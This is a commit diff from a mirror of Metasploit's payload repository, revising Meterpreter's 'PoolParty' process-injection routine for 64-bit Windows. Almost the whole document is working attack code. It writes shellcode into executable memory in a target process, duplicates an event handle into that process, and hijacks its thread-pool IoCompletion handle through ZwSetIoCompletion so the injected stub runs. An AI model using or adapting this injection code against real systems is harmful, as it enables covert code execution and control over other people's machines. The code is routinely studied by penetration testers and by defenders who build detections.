mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-14 17:37:27 +01:00
fix(injection): review changes
This commit is contained in:
parent
3fff5a09ff
commit
ae96c17e3d
@ -699,9 +699,6 @@ BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResul
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
|
||||
}
|
||||
} while (0);
|
||||
|
||||
SAFE_FREE(config);
|
||||
|
@ -504,9 +504,8 @@ DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProces
|
||||
}
|
||||
|
||||
DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter) {
|
||||
// TODO: Use specific variant for different targets.
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
|
||||
DWORD dwTechnique = MIGRATE_TECHNIQUE_POOLPARTY;
|
||||
HANDLE hThread = NULL;
|
||||
LPVOID lpPoolPartyStub;
|
||||
POOLPARTYCONTEXT ctx = { 0 };
|
||||
@ -517,8 +516,6 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
|
||||
LPVOID lpStub = NULL;
|
||||
DWORD dwStubSize = 0;
|
||||
|
||||
DWORD dwPoolPartyVariant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
|
||||
|
||||
@ -530,64 +527,59 @@ DWORD inject_via_poolparty(Remote* remote, Packet* response, HANDLE hProcess, DW
|
||||
|
||||
do
|
||||
{
|
||||
|
||||
if (TRUE) {
|
||||
if (dwDestinationArch == PROCESS_ARCH_X64) {
|
||||
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64");
|
||||
lpStub = &poolparty_stub_x64;
|
||||
dwStubSize = sizeof(poolparty_stub_x64) - 1;
|
||||
}
|
||||
else {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on x86 targets (yet)!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (!hTriggerEvent)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed");
|
||||
}
|
||||
|
||||
// Duplicate the event handle for the target process
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed");
|
||||
}
|
||||
|
||||
lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent);
|
||||
if (!lpPoolPartyStub) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) {
|
||||
if (poolparty->variants[variant].isInjectionSupported) {
|
||||
#ifdef DEBUGTRACE
|
||||
char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = {
|
||||
"POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION",
|
||||
};
|
||||
dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]);
|
||||
#endif
|
||||
dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent);
|
||||
if (dwResult == ERROR_SUCCESS) {
|
||||
dprintf("[INJECT] inject_via_poolparty: injectied!");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (dwResult != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC)
|
||||
}
|
||||
|
||||
if (dwDestinationArch == PROCESS_ARCH_X64 && (dwMeterpreterArch == PROCESS_ARCH_X86 || dwMeterpreterArch == PROCESS_ARCH_X86)) {
|
||||
dprintf("[INJECT][inject_via_poolparty] using: poolparty_stub_x64");
|
||||
lpStub = &poolparty_stub_x64;
|
||||
dwStubSize = sizeof(poolparty_stub_x64) - 1;
|
||||
}
|
||||
else {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: this technique doesn't work on wow64", ERROR_POOLPARTY_GENERIC)
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Can't inject on this target (yet)!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
hTriggerEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (!hTriggerEvent)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] CreateEvent failed");
|
||||
}
|
||||
|
||||
// Duplicate the event handle for the target process
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hTriggerEvent, hProcess, &ctx.e.hTriggerEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT][inject_via_poolparty] DuplicateHandle failed");
|
||||
}
|
||||
|
||||
lpPoolPartyStub = VirtualAllocEx(hProcess, NULL, dwStubSize + sizeof(POOLPARTYCONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
dprintf("[INJECT][inject_via_poolparty] ctx [%p] lpStartAddress: %p lpParameter %p hTriggerEvent %p", (LPBYTE) lpPoolPartyStub + dwStubSize, ctx.s.lpStartAddress, ctx.p.lpParameter, ctx.e.hTriggerEvent);
|
||||
if (!lpPoolPartyStub) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] VirtualAllocEx failed!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, lpPoolPartyStub, lpStub, dwStubSize, NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write custom shellcode!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, (BYTE *)lpPoolPartyStub + dwStubSize, &ctx, sizeof(POOLPARTYCONTEXT), NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty] Cannot write poolparty shellcode prologue!", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
|
||||
for (UINT8 variant = POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION; variant < POOLPARTY_TECHNIQUE_COUNT; variant++) {
|
||||
if (poolparty->variants[variant].isInjectionSupported) {
|
||||
#ifdef DEBUGTRACE
|
||||
char* VARIANT_POS_TO_STR[POOLPARTY_TECHNIQUE_COUNT] = {
|
||||
"POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION",
|
||||
};
|
||||
dprintf("[INJECT][inject_via_poolparty] Attempting injection with variant %s", VARIANT_POS_TO_STR[variant]);
|
||||
#endif
|
||||
dwResult = poolparty->variants[variant].handler(hProcess, dwDestinationArch, lpPoolPartyStub, (BYTE*)lpPoolPartyStub + dwStubSize, &hTriggerEvent);
|
||||
if (dwResult == ERROR_SUCCESS) {
|
||||
dprintf("[INJECT] inject_via_poolparty: injected!");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (dwResult != ERROR_SUCCESS) {
|
||||
BREAK_WITH_ERROR("[INJECT] inject_via_poolparty: none of the supported variant worked.", ERROR_POOLPARTY_GENERIC)
|
||||
}
|
||||
|
||||
if (remote && response)
|
||||
|
@ -72,19 +72,19 @@ typedef struct _POOLPARTYCONTEXT
|
||||
union
|
||||
{
|
||||
LPVOID lpStartAddress;
|
||||
BYTE bPadding1[8];
|
||||
BYTE bPadding[8];
|
||||
} s;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpParameter;
|
||||
BYTE bPadding2[8];
|
||||
BYTE bPadding[8];
|
||||
} p;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID hTriggerEvent;
|
||||
BYTE bPadding2[8];
|
||||
BYTE bPadding[8];
|
||||
} e;
|
||||
|
||||
} POOLPARTYCONTEXT, * LPPOOLPARTYCONTEXT;
|
||||
|
@ -18,9 +18,19 @@ pNtDll* GetOrInitNtDll() {
|
||||
ntdll = (pNtDll*)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(pNtDll));
|
||||
bError = ntdll == NULL;
|
||||
if (!bError) {
|
||||
HMODULE hNtDll = LoadLibraryA("ntdll.dll");
|
||||
HMODULE hNtDll = NULL;
|
||||
hNtDll = GetModuleHandleA("ntdll.dll");
|
||||
if(hNtDll == NULL || hNtDll == INVALID_HANDLE_VALUE){
|
||||
hNtDll = LoadLibraryA("ntdll.dll");
|
||||
}
|
||||
ntdll->pNtQueryInformationProcess = (NTSTATUS(NTAPI*)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryInformationProcess");
|
||||
ntdll->pNtQueryObject = (NTSTATUS(NTAPI*)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(hNtDll, "NtQueryObject");
|
||||
|
||||
if(ntdll->pNtQueryInformationProcess == NULL || ntdll->pNtQueryObject == NULL) {
|
||||
HeapFree(hHeap, 0, ntdll);
|
||||
ntdll = NULL;
|
||||
return ntdll;
|
||||
}
|
||||
dprintf("[INJECT][inject_via_poolparty][ntdll_init] NtQueryInformationProcess: %p NtQueryObject: %p", ntdll->pNtQueryInformationProcess, ntdll->pNtQueryObject);
|
||||
|
||||
ntdll->pZwSetIoCompletion = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, NTSTATUS, ULONG_PTR))GetProcAddress(hNtDll, "ZwSetIoCompletion");
|
||||
@ -101,19 +111,17 @@ POOLPARTY_INJECTOR* GetOrInitPoolParty(DWORD dwSourceArch, DWORD dwDestinationAr
|
||||
return poolLifeguard;
|
||||
};
|
||||
|
||||
// For now we support only Windows 10 x64 -> Windows 10 x64
|
||||
// For now we support only Windows >= 10 and x64 -> x64
|
||||
BOOL supports_poolparty_injection(DWORD dwSourceArch, DWORD dwDestinationArch) {
|
||||
OSVERSIONINFO os = { 0 };
|
||||
BOOL isWow64;
|
||||
IsWow64Process(GetCurrentProcess(), &isWow64);
|
||||
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
||||
NTSTATUS(*pRtlGetVersion)(OSVERSIONINFO * os) = (NTSTATUS(*)(OSVERSIONINFO * os)) GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
|
||||
dprintf("[INJECT][supports_poolparty_injection] RtlGetVersion: %p", pRtlGetVersion);
|
||||
if (!pRtlGetVersion(&os)) {
|
||||
dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d isWow64: %d", dwSourceArch, dwDestinationArch, isWow64);
|
||||
dprintf("[INJECT][supports_poolparty_injection] dwSourceArch: %d dwDestinationArch: %d", dwSourceArch, dwDestinationArch);
|
||||
dprintf("[INJECT][supports_poolparty_injection] os.dwMajorVersion: %d os.dwMinorVersion: %d", os.dwMajorVersion, os.dwMinorVersion);
|
||||
if (os.dwMajorVersion >= 10) {
|
||||
if (dwDestinationArch == dwSourceArch && dwSourceArch == PROCESS_ARCH_X64) {
|
||||
if (dwDestinationArch == dwSourceArch && (dwSourceArch == PROCESS_ARCH_X64 || dwSourceArch == PROCESS_ARCH_X86)) {
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
@ -133,8 +141,11 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
|
||||
|
||||
DWORD ntStatus = 0;
|
||||
lpProcessInfo = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwInformationSizeIn);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo);
|
||||
|
||||
if(lpProcessInfo == NULL) {
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] lpProcessInfo: %p", lpProcessInfo);
|
||||
while (TRUE) {
|
||||
ntStatus = ntdll->pNtQueryInformationProcess(hProcess, ProcessHandleInformation, lpProcessInfo, dwInformationSizeIn, &dwInformationSizeOut);
|
||||
dprintf("[INJECT][inject_via_poolparty][get_remote_handle] NtQueryInformationProcess() : %p", ntStatus);
|
||||
@ -144,11 +155,11 @@ HANDLE GetRemoteHandle(HANDLE hProcess, LPCWSTR typeName, DWORD dwDesiredAccess)
|
||||
dwInformationSizeIn = dwInformationSizeOut;
|
||||
continue;
|
||||
}
|
||||
if (ntStatus != 0 && ntStatus != 0xC0000004L) {
|
||||
if (ntStatus != ERROR_SUCCESS && ntStatus != 0xC0000004L) {
|
||||
HeapFree(hHeap, 0, lpProcessInfo);
|
||||
return INVALID_HANDLE_VALUE;
|
||||
}
|
||||
if (ntStatus == 0) {
|
||||
if (ntStatus == ERROR_SUCCESS) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@ -183,17 +194,23 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
|
||||
pNtDll* ntDll = NULL;
|
||||
DWORD dwResult = ERROR_POOLPARTY_GENERIC;
|
||||
HANDLE hHeap = GetProcessHeap();
|
||||
DWORD dwDirectSize = dwDestinationArch == PROCESS_ARCH_X64 ? TP_DIRECT_STRUCT_SIZE_X64 : TP_DIRECT_STRUCT_SIZE_X86;
|
||||
LPVOID *Direct = NULL;
|
||||
|
||||
LPVOID *Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, dwDirectSize);
|
||||
do {
|
||||
ntDll = GetOrInitNtDll();
|
||||
if (ntdll == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Cannot GetOrInitNtDll()", ERROR_POOLPARTY_GENERIC);
|
||||
}
|
||||
if (dwDestinationArch != PROCESS_ARCH_X64) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Currently only x86-64 destination arch is supported.", ERROR_POOLPARTY_VARIANT_FAILED);
|
||||
}
|
||||
if (!poolLifeguard->variants[POOLPARTY_TECHNIQUE_TP_DIRECT_INSERTION].isInjectionSupported) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
Direct = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, TP_DIRECT_STRUCT_SIZE_X64);
|
||||
if(Direct == NULL) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] This variant is not supported in this system.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
hHijackHandle = GetRemoteHandle(hProcess, L"IoCompletion", IO_COMPLETION_ALL_ACCESS);
|
||||
|
||||
if (hHijackHandle == INVALID_HANDLE_VALUE) {
|
||||
@ -201,23 +218,17 @@ DWORD remote_tp_direct_insertion(HANDLE hProcess, DWORD dwDestinationArch, LPVOI
|
||||
}
|
||||
|
||||
if (hHijackHandle != INVALID_HANDLE_VALUE) {
|
||||
|
||||
if (dwDestinationArch == PROCESS_ARCH_X64) {
|
||||
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
|
||||
}
|
||||
if (dwDestinationArch == PROCESS_ARCH_X86) {
|
||||
*(DWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X86 - 4) = (DWORD) PtrToPtr32(lpStartAddress);
|
||||
}
|
||||
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, dwDirectSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
*(QWORD*)((BYTE*)Direct + TP_DIRECT_STRUCT_CB_OFFSET_X64) = (QWORD) lpStartAddress;
|
||||
LPVOID RemoteDirectAddress = VirtualAllocEx(hProcess, NULL, TP_DIRECT_STRUCT_SIZE_X64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!RemoteDirectAddress) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to allocate RemoteDirectAddress.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, dwDirectSize, NULL)) {
|
||||
if (!WriteProcessMemory(hProcess, RemoteDirectAddress, Direct, TP_DIRECT_STRUCT_SIZE_X64, NULL)) {
|
||||
BREAK_WITH_ERROR("[INJECT][inject_via_poolparty][remote_tp_direct_insertion] Unable to write target process memory.", ERROR_POOLPARTY_VARIANT_FAILED)
|
||||
}
|
||||
dwResult = ntDll->pZwSetIoCompletion(hHijackHandle, RemoteDirectAddress, lpParameter, 0, 0);
|
||||
dprintf("[INJECT][inject_via_poolparty][remote_tp_wait_insertion] ZwSetIoCompletion: %d", dwResult);
|
||||
dwResult = 0;
|
||||
dwResult = ERROR_SUCCESS;
|
||||
}
|
||||
} while (0);
|
||||
return dwResult;
|
||||
|
Loading…
Reference in New Issue
Block a user